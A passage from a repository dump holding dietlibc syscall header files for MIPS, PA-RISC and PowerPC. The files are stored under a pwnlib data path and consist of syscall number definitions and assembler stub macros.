__NR_getcpu\t\t\t(__NR_Linux + 271)\n#define __NR_epoll_pwait\t\t(__NR_Linux + 272)\n#define __NR_ioprio_set\t\t\t(__NR_Linux + 273)\n#define __NR_ioprio_get\t\t\t(__NR_Linux + 274)\n#define __NR_utimensat\t\t\t(__NR_Linux + 275)\n#define __NR_signalfd\t\t\t(__NR_Linux + 276)\n#define __NR_timerfd\t\t\t(__NR_Linux + 277)\n#define __NR_eventfd\t\t\t(__NR_Linux + 278)\n#define __NR_fallocate\t\t\t(__NR_Linux + 279)\n#define __NR_timerfd_create\t\t(__NR_Linux + 280)\n#define __NR_timerfd_gettime\t\t(__NR_Linux + 281)\n#define __NR_timerfd_settime\t\t(__NR_Linux + 282)\n#define __NR_signalfd4\t\t\t(__NR_Linux + 283)\n#define __NR_eventfd2\t\t\t(__NR_Linux + 284)\n#define __NR_epoll_create1\t\t(__NR_Linux + 285)\n#define __NR_dup3\t\t\t(__NR_Linux + 286)\n#define __NR_pipe2\t\t\t(__NR_Linux + 287)\n#define __NR_inotify_init1\t\t(__NR_Linux + 288)\n#define __NR_preadv\t\t\t(__NR_Linux + 289)\n#define __NR_pwritev\t\t\t(__NR_Linux + 290)\n#define __NR_rt_tgsigqueueinfo\t\t(__NR_Linux + 291)\n#define __NR_perf_event_open\t\t(__NR_Linux + 292)\n#define __NR_accept4\t\t\t(__NR_Linux + 293)\n#define __NR_recvmmsg\t\t\t(__NR_Linux + 294)\n#define __NR_fanotify_init\t\t(__NR_Linux + 295)\n#define __NR_fanotify_mark\t\t(__NR_Linux + 296)\n#define __NR_prlimit64\t\t\t(__NR_Linux + 297)\n#define __NR_name_to_handle_at\t\t(__NR_Linux + 298)\n#define __NR_open_by_handle_at\t\t(__NR_Linux + 299)\n#define __NR_clock_adjtime\t\t(__NR_Linux + 300)\n#define __NR_syncfs\t\t\t(__NR_Linux + 301)\n#define __NR_sendmmsg\t\t\t(__NR_Linux + 302)\n#define __NR_setns\t\t\t(__NR_Linux + 303)\n#define __NR_process_vm_readv\t\t(__NR_Linux + 304)\n#define __NR_process_vm_writev\t\t(__NR_Linux + 305)\n#define __NR_kcmp\t\t\t(__NR_Linux + 306)\n#define __NR_finit_module\t\t(__NR_Linux + 307)\n#define __NR_getdents64\t\t\t(__NR_Linux + 308)\n#define __NR_sched_setattr\t\t(__NR_Linux + 309)\n#define __NR_sched_getattr\t\t(__NR_Linux + 310)\n#define __NR_renameat2\t\t\t(__NR_Linux + 311)\n#define __NR_seccomp\t\t\t(__NR_Linux + 312)\n#define __NR_getrandom\t\t\t(__NR_Linux + 313)\n#define __NR_memfd_create\t\t(__NR_Linux + 314)\n#define __NR_bpf\t\t\t(__NR_Linux + 315)\n#define __NR_execveat\t\t\t(__NR_Linux + 316)\n#define __NR_userfaultfd\t\t(__NR_Linux + 317)\n#define __NR_membarrier\t\t\t(__NR_Linux + 318)\n#define __NR_mlock2\t\t\t(__NR_Linux + 319)\n#define __NR_copy_file_range\t\t(__NR_Linux + 320)\n#define __NR_preadv2\t\t\t(__NR_Linux + 321)\n#define __NR_pwritev2\t\t\t(__NR_Linux + 322)\n#define __NR_pkey_mprotect\t\t(__NR_Linux + 323)\n#define __NR_pkey_alloc\t\t\t(__NR_Linux + 324)\n#define __NR_pkey_free\t\t\t(__NR_Linux + 325)\n#define __NR_statx\t\t\t(__NR_Linux + 326)\n#define __NR_rseq\t\t\t(__NR_Linux + 327)\n#define __NR_io_pgetevents\t\t(__NR_Linux + 328)\n#define __NR_pidfd_send_signal\t(__NR_Linux + 424)\n#define __NR_io_uring_setup\t(__NR_Linux + 425)\n#define __NR_io_uring_enter\t(__NR_Linux + 426)\n#define __NR_io_uring_register\t(__NR_Linux + 427)\n#define __NR_open_tree\t(__NR_Linux + 428)\n#define __NR_move_mount\t(__NR_Linux + 429)\n#define __NR_fsopen\t(__NR_Linux + 430)\n#define __NR_fsconfig\t(__NR_Linux + 431)\n#define __NR_fsmount\t(__NR_Linux + 432)\n#define __NR_fspick\t(__NR_Linux + 433)\n#define __NR_pidfd_open\t(__NR_Linux + 434)\n#define __NR_clone3\t(__NR_Linux + 435)\n#define __NR_openat2\t(__NR_Linux + 437)\n#define __NR_pidfd_getfd\t(__NR_Linux + 438)\n\n#else\n#error \"dietlibc not ported to your MIPS ABI yet.\"\n#endif\n\n\n\n#include \"mips-asm.h\"\n\n#define syscall_weak(name,wsym,sym) \\\n.text; \\\n.weak wsym; \\\nwsym: ; \\\n.global sym; \\\n.ent sym; \\\nsym: \\\n\tli\t$2,__NR_##name; \\\n\tsyscall; \\\n\tPTR_LA\t$25,__unified_syscall; \\\n\tjr\t$25; \\\n.end sym\n\n#define syscall(name,sym) \\\n.text; \\\n.global sym; \\\n.ent sym; \\\nsym: \\\n\tli\t$2,__NR_##name; \\\n\tsyscall; \\\n\tPTR_LA\t$25,__unified_syscall; \\\n\tjr\t$25; \\\n.end sym\n\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/mips64/syscalls.h",
    "content": "#include \"../mips/syscalls.h\"\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/mipsel/syscalls.h",
    "content": "#include \"../mips/syscalls.h\"\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/parisc/syscalls.h",
    "content": "/*\n  Copyright (C) 2001, 2002 Thomas M. Ogrisegg\n\n  This is free software. You can redistribute and\n  modify it under the terms of the GNU General Public\n  Public License.\n\n  This file is part of the hppa-Port of the dietlibc\n\n  syscalls.h\n    Header file including the systemcall index-\n    and implementation macros\n*/\n\n#define __NR_restart_syscall\t0\n#define __NR_exit\t1\n#define __NR_fork\t2\n#define __NR_read\t3\n#define __NR_write\t4\n#define __NR_open\t5\n#define __NR_close\t6\n#define __NR_waitpid\t7\n#define __NR_creat\t8\n#define __NR_link\t9\n#define __NR_unlink\t10\n#define __NR_execve\t11\n#define __NR_chdir\t12\n#define __NR_time\t13\n#define __NR_mknod\t14\n#define __NR_chmod\t15\n#define __NR_lchown\t16\n#define __NR_socket\t17\n#define __NR_stat\t18\n#define __NR_lseek\t19\n#define __NR_getpid\t20\n#define __NR_mount\t21\n#define __NR_bind\t22\n#define __NR_setuid\t23\n#define __NR_getuid\t24\n#define __NR_stime\t25\n#define __NR_ptrace\t26\n#define __NR_alarm\t27\n#define __NR_fstat\t28\n#define __NR_pause\t29\n#define __NR_utime\t30\n#define __NR_connect\t31\n#define __NR_listen\t32\n#define __NR_access\t33\n#define __NR_nice\t34\n#define __NR_accept\t35\n#define __NR_sync\t36\n#define __NR_kill\t37\n#define __NR_rename\t38\n#define __NR_mkdir\t39\n#define __NR_rmdir\t40\n#define __NR_dup\t41\n#define __NR_pipe\t42\n#define __NR_times\t43\n#define __NR_getsockname\t44\n#define __NR_brk\t45\n#define __NR_setgid\t46\n#define __NR_getgid\t47\n#define __NR_signal\t48\n#define __NR_geteuid\t49\n#define __NR_getegid\t50\n#define __NR_acct\t51\n#define __NR_umount2\t52\n#define __NR_getpeername\t53\n#define __NR_ioctl\t54\n#define __NR_fcntl\t55\n#define __NR_socketpair\t56\n#define __NR_setpgid\t57\n#define __NR_send\t58\n#define __NR_uname\t59\n#define __NR_umask\t60\n#define __NR_chroot\t61\n#define __NR_ustat\t62\n#define __NR_dup2\t63\n#define __NR_getppid\t64\n#define __NR_getpgrp\t65\n#define __NR_setsid\t66\n#define __NR_pivot_root\t67\n#define __NR_sgetmask\t68\n#define __NR_ssetmask\t69\n#define __NR_setreuid\t70\n#define __NR_setregid\t71\n#define __NR_mincore\t72\n#define __NR_sigpending\t73\n#define __NR_sethostname\t74\n#define __NR_setrlimit\t75\n#define __NR_getrlimit\t76\n#define __NR_getrusage\t77\n#define __NR_gettimeofday\t78\n#define __NR_settimeofday\t79\n#define __NR_getgroups\t80\n#define __NR_setgroups\t81\n#define __NR_sendto\t82\n#define __NR_symlink\t83\n#define __NR_lstat\t84\n#define __NR_readlink\t85\n#define __NR_uselib\t86\n#define __NR_swapon\t87\n#define __NR_reboot\t88\n#define __NR_mmap2\t89\n#define __NR_mmap\t90\n#define __NR_munmap\t91\n#define __NR_truncate\t92\n#define __NR_ftruncate\t93\n#define __NR_fchmod\t94\n#define __NR_fchown\t95\n#define __NR_getpriority\t96\n#define __NR_setpriority\t97\n#define __NR_recv\t98\n#define __NR_statfs\t99\n#define __NR_fstatfs\t100\n#define __NR_stat64\t101\n#define __NR_syslog\t103\n#define __NR_setitimer\t104\n#define __NR_getitimer\t105\n#define __NR_capget\t106\n#define __NR_capset\t107\n#define __NR_pread64\t108\n#define __NR_pwrite64\t109\n#define __NR_getcwd\t110\n#define __NR_vhangup\t111\n#define __NR_fstat64\t112\n#define __NR_vfork\t113\n#define __NR_wait4\t114\n#define __NR_swapoff\t115\n#define __NR_sysinfo\t116\n#define __NR_shutdown\t117\n#define __NR_fsync\t118\n#define __NR_madvise\t119\n#define __NR_clone\t120\n#define __NR_setdomainname\t121\n#define __NR_sendfile\t122\n#define __NR_recvfrom\t123\n#define __NR_adjtimex\t124\n#define __NR_mprotect\t125\n#define __NR_sigprocmask\t126\n#define __NR_init_module\t128\n#define __NR_delete_module\t129\n#define __NR_quotactl\t131\n#define __NR_getpgid\t132\n#define __NR_fchdir\t133\n#define __NR_bdflush\t134\n#define __NR_sysfs\t135\n#define __NR_personality\t136\n#define __NR_setfsuid\t138\n#define __NR_setfsgid\t139\n#define __NR__llseek\t140\n#define __NR_getdents\t141\n#define __NR__newselect\t142\n#define __NR_flock\t143\n#define __NR_msync\t144\n#define __NR_readv\t145\n#define __NR_writev\t146\n#define __NR_getsid\t147\n#define __NR_fdatasync\t148\n#define __NR__sysctl\t149\n#define __NR_mlock\t150\n#define __NR_munlock\t151\n#define __NR_mlockall\t152\n#define __NR_munlockall\t153\n#define __NR_sched_setparam\t154\n#define __NR_sched_getparam\t155\n#define __NR_sched_setscheduler\t156\n#define __NR_sched_getscheduler\t157\n#define __NR_sched_yield\t158\n#define __NR_sched_get_priority_max\t159\n#define __NR_sched_get_priority_min\t160\n#define __NR_sched_rr_get_interval\t161\n#define __NR_nanosleep\t162\n#define __NR_mremap\t163\n#define __NR_setresuid\t164\n#define __NR_getresuid\t165\n#define __NR_sigaltstack\t166\n#define __NR_poll\t168\n#define __NR_setresgid\t170\n#define __NR_getresgid\t171\n#define __NR_prctl\t172\n#define __NR_rt_sigreturn\t173\n#define __NR_rt_sigaction\t174\n#define __NR_rt_sigprocmask\t175\n#define __NR_rt_sigpending\t176\n#define __NR_rt_sigtimedwait\t177\n#define __NR_rt_sigqueueinfo\t178\n#define __NR_rt_sigsuspend\t179\n#define __NR_chown\t180\n#define __NR_setsockopt\t181\n#define __NR_getsockopt\t182\n#define __NR_sendmsg\t183\n#define __NR_recvmsg\t184\n#define __NR_semop\t185\n#define __NR_semget\t186\n#define __NR_semctl\t187\n#define __NR_msgsnd\t188\n#define __NR_msgrcv\t189\n#define __NR_msgget\t190\n#define __NR_msgctl\t191\n#define __NR_shmat\t192\n#define __NR_shmdt\t193\n#define __NR_shmget\t194\n#define __NR_shmctl\t195\n#define __NR_lstat64\t198\n#define __NR_truncate64\t199\n#define __NR_ftruncate64\t200\n#define __NR_getdents64\t201\n#define __NR_fcntl64\t202\n#define __NR_gettid\t206\n#define __NR_readahead\t207\n#define __NR_tkill\t208\n#define __NR_sendfile64\t209\n#define __NR_futex\t210\n#define __NR_sched_setaffinity\t211\n#define __NR_sched_getaffinity\t212\n#define __NR_io_setup\t215\n#define __NR_io_destroy\t216\n#define __NR_io_getevents\t217\n#define __NR_io_submit\t218\n#define __NR_io_cancel\t219\n#define __NR_exit_group\t222\n#define __NR_lookup_dcookie\t223\n#define __NR_epoll_create\t224\n#define __NR_epoll_ctl\t225\n#define __NR_epoll_wait\t226\n#define __NR_remap_file_pages\t227\n#define __NR_semtimedop\t228\n#define __NR_mq_open\t229\n#define __NR_mq_unlink\t230\n#define __NR_mq_timedsend\t231\n#define __NR_mq_timedreceive\t232\n#define __NR_mq_notify\t233\n#define __NR_mq_getsetattr\t234\n#define __NR_waitid\t235\n#define __NR_fadvise64_64\t236\n#define __NR_set_tid_address\t237\n#define __NR_setxattr\t238\n#define __NR_lsetxattr\t239\n#define __NR_fsetxattr\t240\n#define __NR_getxattr\t241\n#define __NR_lgetxattr\t242\n#define __NR_fgetxattr\t243\n#define __NR_listxattr\t244\n#define __NR_llistxattr\t245\n#define __NR_flistxattr\t246\n#define __NR_removexattr\t247\n#define __NR_lremovexattr\t248\n#define __NR_fremovexattr\t249\n#define __NR_timer_create\t250\n#define __NR_timer_settime\t251\n#define __NR_timer_gettime\t252\n#define __NR_timer_getoverrun\t253\n#define __NR_timer_delete\t254\n#define __NR_clock_settime\t255\n#define __NR_clock_gettime\t256\n#define __NR_clock_getres\t257\n#define __NR_clock_nanosleep\t258\n#define __NR_tgkill\t259\n#define __NR_mbind\t260\n#define __NR_get_mempolicy\t261\n#define __NR_set_mempolicy\t262\n#define __NR_add_key\t264\n#define __NR_request_key\t265\n#define __NR_keyctl\t266\n#define __NR_ioprio_set\t267\n#define __NR_ioprio_get\t268\n#define __NR_inotify_init\t269\n#define __NR_inotify_add_watch\t270\n#define __NR_inotify_rm_watch\t271\n#define __NR_migrate_pages\t272\n#define __NR_pselect6\t273\n#define __NR_ppoll\t274\n#define __NR_openat\t275\n#define __NR_mkdirat\t276\n#define __NR_mknodat\t277\n#define __NR_fchownat\t278\n#define __NR_futimesat\t279\n#define __NR_fstatat64\t280\n#define __NR_unlinkat\t281\n#define __NR_renameat\t282\n#define __NR_linkat\t283\n#define __NR_symlinkat\t284\n#define __NR_readlinkat\t285\n#define __NR_fchmodat\t286\n#define __NR_faccessat\t287\n#define __NR_unshare\t288\n#define __NR_set_robust_list\t289\n#define __NR_get_robust_list\t290\n#define __NR_splice\t291\n#define __NR_sync_file_range\t292\n#define __NR_tee\t293\n#define __NR_vmsplice\t294\n#define __NR_move_pages\t295\n#define __NR_getcpu\t296\n#define __NR_epoll_pwait\t297\n#define __NR_statfs64\t298\n#define __NR_fstatfs64\t299\n#define __NR_kexec_load\t300\n#define __NR_utimensat\t301\n#define __NR_signalfd\t302\n#define __NR_eventfd\t304\n#define __NR_fallocate\t305\n#define __NR_timerfd_create\t306\n#define __NR_timerfd_settime\t307\n#define __NR_timerfd_gettime\t308\n#define __NR_signalfd4\t309\n#define __NR_eventfd2\t310\n#define __NR_epoll_create1\t311\n#define __NR_dup3\t312\n#define __NR_pipe2\t313\n#define __NR_inotify_init1\t314\n#define __NR_preadv\t315\n#define __NR_pwritev\t316\n#define __NR_rt_tgsigqueueinfo\t317\n#define __NR_perf_event_open\t318\n#define __NR_recvmmsg\t319\n#define __NR_accept4\t320\n#define __NR_prlimit64\t321\n#define __NR_fanotify_init\t322\n#define __NR_fanotify_mark\t323\n#define __NR_clock_adjtime\t324\n#define __NR_name_to_handle_at\t325\n#define __NR_open_by_handle_at\t326\n#define __NR_syncfs\t327\n#define __NR_setns\t328\n#define __NR_sendmmsg\t329\n#define __NR_process_vm_readv\t330\n#define __NR_process_vm_writev\t331\n#define __NR_kcmp\t332\n#define __NR_finit_module\t333\n#define __NR_sched_setattr\t334\n#define __NR_sched_getattr\t335\n#define __NR_utimes\t336\n#define __NR_renameat2\t337\n#define __NR_seccomp\t338\n#define __NR_getrandom\t339\n#define __NR_memfd_create\t340\n#define __NR_bpf\t341\n#define __NR_execveat\t342\n#define __NR_membarrier\t343\n#define __NR_userfaultfd\t344\n#define __NR_mlock2\t345\n#define __NR_copy_file_range\t346\n#define __NR_preadv2\t347\n#define __NR_pwritev2\t348\n#define __NR_statx\t349\n#define __NR_io_pgetevents\t350\n#define __NR_pkey_mprotect\t351\n#define __NR_pkey_alloc\t352\n#define __NR_pkey_free\t353\n#define __NR_rseq\t354\n#define __NR_kexec_file_load\t355\n#define __NR_clock_gettime64\t403\n#define __NR_clock_settime64\t404\n#define __NR_clock_adjtime64\t405\n#define __NR_clock_getres_time64\t406\n#define __NR_clock_nanosleep_time64\t407\n#define __NR_timer_gettime64\t408\n#define __NR_timer_settime64\t409\n#define __NR_timerfd_gettime64\t410\n#define __NR_timerfd_settime64\t411\n#define __NR_utimensat_time64\t412\n#define __NR_pselect6_time64\t413\n#define __NR_ppoll_time64\t414\n#define __NR_io_pgetevents_time64\t416\n#define __NR_recvmmsg_time64\t417\n#define __NR_mq_timedsend_time64\t418\n#define __NR_mq_timedreceive_time64\t419\n#define __NR_semtimedop_time64\t420\n#define __NR_rt_sigtimedwait_time64\t421\n#define __NR_futex_time64\t422\n#define __NR_sched_rr_get_interval_time64\t423\n#define __NR_pidfd_send_signal\t424\n#define __NR_io_uring_setup\t425\n#define __NR_io_uring_enter\t426\n#define __NR_io_uring_register\t427\n#define __NR_open_tree\t428\n#define __NR_move_mount\t429\n#define __NR_fsopen\t430\n#define __NR_fsconfig\t431\n#define __NR_fsmount\t432\n#define __NR_fspick\t433\n#define __NR_pidfd_open\t434\n#define __NR_clone3\t435\n#define __NR_openat2\t437\n#define __NR_pidfd_getfd\t438\n\n#define LINUX_GATEWAY_ADDR      0x100\n\n#define syscall_weak(name, sym, wsym) \t\\\n.text!\t\t\t\t\t\\\n.type wsym, @function!\t\t\t\\\n.weak wsym!\t\t\t\t\\\nwsym:\t!\t\t\t\t\\\n.type sym, @function!\t\t\t\\\n.globl sym!\t\t\t\t\\\nsym:\t\t\t\t\t\\\n\tb __unified_syscall!\t\t\\\n\tldi __NR_##name, %r20!\t\t\\\n\n#define __syscall(name, sym, imp)  \t\\\n.text!\t\t\t\t\t\\\n.type sym,@function!\t\t\t\\\n.globl sym!\t\t\t\t\\\n.export sym!\t\t\t\t\\\nsym:\t\t\t\t\t\\\n\tb imp!\t\t\t\t\\\n\tldi __NR_##name, %r20!\n\n#define syscall(name, sym)\t__syscall(name, sym, __unified_syscall)\n#define syscall5(name, sym)\t__syscall(name, sym, __unified_syscall5)\n#define syscall6(name, sym)\t__syscall(name, sym, __unified_syscall6)\n\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/ppc/syscalls.h",
    "content": "\n#define __NR_exit\t\t  1\n#define __NR_fork\t\t  2\n#define __NR_read\t\t  3\n#define __NR_write\t\t  4\n#define __NR_open\t\t  5\n#define __NR_close\t\t  6\n#define __NR_waitpid\t\t  7\n#define __NR_creat\t\t  8\n#define __NR_link\t\t  9\n#define __NR_unlink\t\t 10\n#define __NR_execve\t\t 11\n#define __NR_chdir\t\t 12\n#define __NR_time\t\t 13\n#define __NR_mknod\t\t 14\n#define __NR_chmod\t\t 15\n#define __NR_lchown\t\t 16\n#define __NR_break\t\t 17\n#define __NR_oldstat\t\t 18\n#define __NR_lseek\t\t 19\n#define __NR_getpid\t\t 20\n#define __NR_mount\t\t 21\n#define __NR_umount\t\t 22\n#define __NR_setuid\t\t 23\n#define __NR_getuid\t\t 24\n#define __NR_stime\t\t 25\n#define __NR_ptrace\t\t 26\n#define __NR_alarm\t\t 27\n#define __NR_oldfstat\t\t 28\n#define __NR_pause\t\t 29\n#define __NR_utime\t\t 30\n#define __NR_stty\t\t 31\n#define __NR_gtty\t\t 32\n#define __NR_access\t\t 33\n#define __NR_nice\t\t 34\n#define __NR_ftime\t\t 35\n#define __NR_sync\t\t 36\n#define __NR_kill\t\t 37\n#define __NR_rename\t\t 38\n#define __NR_mkdir\t\t 39\n#define __NR_rmdir\t\t 40\n#define __NR_dup\t\t 41\n#define __NR_pipe\t\t 42\n#define __NR_times\t\t 43\n#define __NR_prof\t\t 44\n#define __NR_brk\t\t 45\n#define __NR_setgid\t\t 46\n#define __NR_getgid\t\t 47\n#define __NR_signal\t\t 48\n#define __NR_geteuid\t\t 49\n#define __NR_getegid\t\t 50\n#define __NR_acct\t\t 51\n#define __NR_umount2\t\t 52\n#define __NR_lock\t\t 53\n#define __NR_ioctl\t\t 54\n#define __NR_fcntl\t\t 55\n#define __NR_mpx\t\t 56\n#define __NR_setpgid\t\t 57\n#define __NR_ulimit\t\t 58\n#define __NR_oldolduname\t 59\n#define __NR_umask\t\t 60\n#define __NR_chroot\t\t 61\n#define __NR_ustat\t\t 62\n#define __NR_dup2\t\t 63\n#define __NR_getppid\t\t 64\n#define __NR_getpgrp\t\t 65\n#define __NR_setsid\t\t 66\n#define __NR_sigaction\t\t 67\n#define __NR_sgetmask\t\t 68\n#define __NR_ssetmask\t\t 69\n#define __NR_setreuid\t\t 70\n#define __NR_setregid\t\t 71\n#define __NR_sigsuspend\t\t 72\n#define __NR_sigpending\t\t 73\n#define __NR_sethostname\t 74\n#define __NR_setrlimit\t\t 75\n#define __NR_getrlimit\t\t 76\n#define __NR_getrusage\t\t 77\n#define __NR_gettimeofday\t 78\n#define __NR_settimeofday\t 79\n#define __NR_getgroups\t\t 80\n#define __NR_setgroups\t\t 81\n#define __NR_select\t\t 82\n#define __NR_symlink\t\t 83\n#define __NR_oldlstat\t\t 84\n#define __NR_readlink\t\t 85\n#define __NR_uselib\t\t 86\n#define __NR_swapon\t\t 87\n#define __NR_reboot\t\t 88\n#define __NR_readdir\t\t 89\n#define __NR_mmap\t\t 90\n#define __NR_munmap\t\t 91\n#define __NR_truncate\t\t 92\n#define __NR_ftruncate\t\t 93\n#define __NR_fchmod\t\t 94\n#define __NR_fchown\t\t 95\n#define __NR_getpriority\t 96\n#define __NR_setpriority\t 97\n#define __NR_profil\t\t 98\n#define __NR_statfs\t\t 99\n#define __NR_fstatfs\t\t100\n#define __NR_ioperm\t\t101\n#define __NR_socketcall\t\t102\n#define __NR_syslog\t\t103\n#define __NR_setitimer\t\t104\n#define __NR_getitimer\t\t105\n#define __NR_stat\t\t106\n#define __NR_lstat\t\t107\n#define __NR_fstat\t\t108\n#define __NR_olduname\t\t109\n#define __NR_iopl\t\t110\n#define __NR_vhangup\t\t111\n#define __NR_idle\t\t112\n#define __NR_vm86\t\t113\n#define __NR_wait4\t\t114\n#define __NR_swapoff\t\t115\n#define __NR_sysinfo\t\t116\n#define __NR_ipc\t\t117\n#define __NR_fsync\t\t118\n#define __NR_sigreturn\t\t119\n#define __NR_clone\t\t120\n#define __NR_setdomainname\t121\n#define __NR_uname\t\t122\n#define __NR_modify_ldt\t\t123\n#define __NR_adjtimex\t\t124\n#define __NR_mprotect\t\t125\n#define __NR_sigprocmask\t126\n#define __NR_create_module\t127\n#define __NR_init_module\t128\n#define __NR_delete_module\t129\n#define __NR_get_kernel_syms\t130\n#define __NR_quotactl\t\t131\n#define __NR_getpgid\t\t132\n#define __NR_fchdir\t\t133\n#define __NR_bdflush\t\t134\n#define __NR_sysfs\t\t135\n#define __NR_personality\t136\n#define __NR_afs_syscall\t137 /* Syscall for Andrew File System */\n#define __NR_setfsuid\t\t138\n#define __NR_setfsgid\t\t139\n#define __NR__llseek\t\t140\n#define __NR_getdents\t\t141\n#define __NR__newselect\t\t142\n#define __NR_flock\t\t143\n#define __NR_msync\t\t144\n#define __NR_readv\t\t145\n#define __NR_writev\t\t146\n#define __NR_getsid\t\t147\n#define __NR_fdatasync\t\t148\n#define __NR__sysctl\t\t149\n#define __NR_mlock\t\t150\n#define __NR_munlock\t\t151\n#define __NR_mlockall\t\t152\n#define __NR_munlockall\t\t153\n#define __NR_sched_setparam\t\t154\n#define __NR_sched_getparam\t\t155\n#define __NR_sched_setscheduler\t\t156\n#define __NR_sched_getscheduler\t\t157\n#define __NR_sched_yield\t\t158\n#define __NR_sched_get_priority_max\t159\n#define __NR_sched_get_priority_min\t160\n#define __NR_sched_rr_get_interval\t161\n#define __NR_nanosleep\t\t162\n#define __NR_mremap\t\t163\n#define __NR_setresuid\t\t164\n#define __NR_getresuid\t\t165\n#define __NR_query_module\t166\n#define __NR_poll\t\t167\n#define __NR_nfsservctl\t\t168\n#define __NR_setresgid\t\t169\n#define __NR_getresgid\t\t170\n#define __NR_prctl\t\t171\n#define __NR_rt_sigreturn\t172\n#define __NR_rt_sigaction\t173\n#define __NR_rt_sigprocmask\t174\n#define __NR_rt_sigpending\t175\n#define __NR_rt_sigtimedwait\t176\n#define __NR_rt_sigqueueinfo\t177\n#define __NR_rt_sigsuspend\t178\n#define __NR_pread\t\t179\n#define __NR_pwrite\t\t180\n#define __NR_chown\t\t181\n#define __NR_getcwd\t\t182\n#define __NR_capget\t\t183\n#define __NR_capset\t\t184\n#define __NR_sigaltstack\t185\n#define __NR_sendfile\t\t186\n#define __NR_getpmsg\t\t187\t/* some people actually want streams */\n#define __NR_putpmsg\t\t188\t/* some people actually want streams */\n#define __NR_vfork\t\t189\n#define __NR_ugetrlimit\t\t190\t/* SuS compliant getrlimit */\n#define __NR_readahead\t\t191\n#define __NR_mmap2\t\t192\n#define __NR_truncate64\t\t193\n#define __NR_ftruncate64\t194\n#define __NR_stat64\t\t195\n#define __NR_lstat64\t\t196\n#define __NR_fstat64\t\t197\n#define __NR_pciconfig_read\t198\n#define __NR_pciconfig_write\t199\n#define __NR_pciconfig_iobase\t200\n#define __NR_multiplexer\t201\n#define __NR_getdents64\t\t202\n#define __NR_pivot_root\t\t203\n#define __NR_fcntl64\t\t204\n#define __NR_madvise\t\t205\n#define __NR_mincore\t\t206\n#define __NR_gettid\t\t207\n#define __NR_tkill\t\t208\n#define __NR_setxattr\t\t209\n#define __NR_lsetxattr\t\t210\n#define __NR_fsetxattr\t\t211\n#define __NR_getxattr\t\t212\n#define __NR_lgetxattr\t\t213\n#define __NR_fgetxattr\t\t214\n#define __NR_listxattr\t\t215\n#define __NR_llistxattr\t\t216\n#define __NR_flistxattr\t\t217\n#define __NR_removexattr\t218\n#define __NR_lremovexattr\t219\n#define __NR_fremovexattr\t220\n#define __NR_futex\t\t221\n#define __NR_sched_setaffinity\t222\n#define __NR_sched_getaffinity\t223\n/* 224 currently unused */\n#define __NR_tuxcall\t\t225\n#define __NR_sendfile64\t\t226\n#define __NR_io_setup\t\t227\n#define __NR_io_destroy\t\t228\n#define __NR_io_getevents\t229\n#define __NR_io_submit\t\t230\n#define __NR_io_cancel\t\t231\n#define __NR_set_tid_address\t232\n#define __NR_fadvise64\t\t233\n#define __NR_exit_group\t\t234\n#define __NR_lookup_dcookie\t235\n#define __NR_epoll_create\t236\n#define __NR_epoll_ctl\t\t237\n#define __NR_epoll_wait\t\t238\n#define __NR_remap_file_pages\t239\n#define __NR_timer_create\t240\n#define __NR_timer_settime\t241\n#define __NR_timer_gettime\t242\n#define __NR_timer_getoverrun\t243\n#define __NR_timer_delete\t244\n#define __NR_clock_settime\t245\n#define __NR_clock_gettime\t246\n#define __NR_clock_getres\t247\n#define __NR_clock_nanosleep\t248\n#define __NR_swapcontext\t249\n#define __NR_tgkill\t\t250\n#define __NR_utimes\t\t251\n#define __NR_statfs64\t\t252\n#define __NR_fstatfs64\t\t253\n#define __NR_fadvise64_64\t254\n#define __NR_rtas\t\t255\n#define __NR_sys_debug_setcontext 256\n/* Number 257 is reserved for vserver */\n/* Number 258 is reserved for new sys_remap_file_pages */\n/* Number 259 is reserved for new sys_mbind */\n/* Number 260 is reserved for new sys_get_mempolicy */\n/* Number 261 is reserved for new sys_set_mempolicy */\n#define __NR_mq_open\t\t262\n#define __NR_mq_unlink\t\t263\n#define __NR_mq_timedsend\t264\n#define __NR_mq_timedreceive\t265\n#define __NR_mq_notify\t\t266\n#define __NR_mq_getsetattr\t267\n#define __NR_kexec_load\t\t268\n#define __NR_add_key\t\t269\n#define __NR_request_key\t270\n#define __NR_keyctl\t\t271\n#define __NR_waitid\t\t272\n#define __NR_ioprio_set\t\t273\n#define __NR_ioprio_get\t\t274\n#define __NR_inotify_init\t275\n#define __NR_inotify_add_watch\t276\n#define __NR_inotify_rm_watch\t277\n#define __NR_spu_run\t\t278\n#define __NR_spu_create\t\t279\n#define __NR_pselect6\t\t280\n#define __NR_ppoll\t\t281\n#define __NR_unshare\t\t282\n#define __NR_splice\t\t283\n#define __NR_tee\t\t284\n#define __NR_vmsplice\t\t285\n#define __NR_openat\t\t286\n#define __NR_mkdirat\t\t287\n#define __NR_mknodat\t\t288\n#define __NR_fchownat\t\t289\n#define __NR_futimesat\t\t290\n#define __NR_fstatat64\t\t291\n#define __NR_unlinkat\t\t292\n#define __NR_renameat\t\t293\n#define __NR_linkat\t\t294\n#define __NR_symlinkat\t\t295\n#define __NR_readlinkat\t\t296\n#define __NR_fchmodat\t\t297\n#define __NR_faccessat\t\t298\n#define __NR_get_robust_list\t299\n#define __NR_set_robust_list\t300\n#define __NR_move_pages\t\t301\n#define __NR_getcpu\t\t302\n#define __NR_epoll_pwait\t303\n#define __NR_utimensat\t\t304\n#define __NR_signalfd\t\t305\n#define __NR_timerfd\t\t306\n#define __NR_eventfd\t\t307\n#define __NR_sync_file_range2\t308\n#define __NR_fallocate\t\t309\n#define __NR_subpage_prot\t310\n#define __NR_timerfd_settime\t311\n#define __NR_timerfd_gettime\t312\n#define __NR_signalfd4\t\t313\n#define __NR_eventfd2\t\t314\n#define __NR_epoll_create1\t315\n#define __NR_dup3\t\t316\n#define __NR_pipe2\t\t317\n#define __NR_inotify_init1\t318\n#define __NR_perf_event_open\t319\n#define __NR_preadv\t\t320\n#define __NR_pwritev\t\t321\n#define __NR_rt_tgsigqueueinfo\t322\n#define __NR_fanotify_init\t323\n#define __NR_fanotify_mark\t324\n#define __NR_prlimit64\t\t325\n#define __NR_socket\t\t326\n#define __NR_bind\t\t327\n#define __NR_connect\t\t328\n#define __NR_listen\t\t329\n#define __NR_accept\t\t330\n#define __NR_getsockname\t331\n#define __NR_getpeername\t332\n#define __NR_socketpair\t\t333\n#define __NR_send\t\t334\n#define __NR_sendto\t\t335\n#define __NR_recv\t\t336\n#define __NR_recvfrom\t\t337\n#define __NR_shutdown\t\t338\n#define 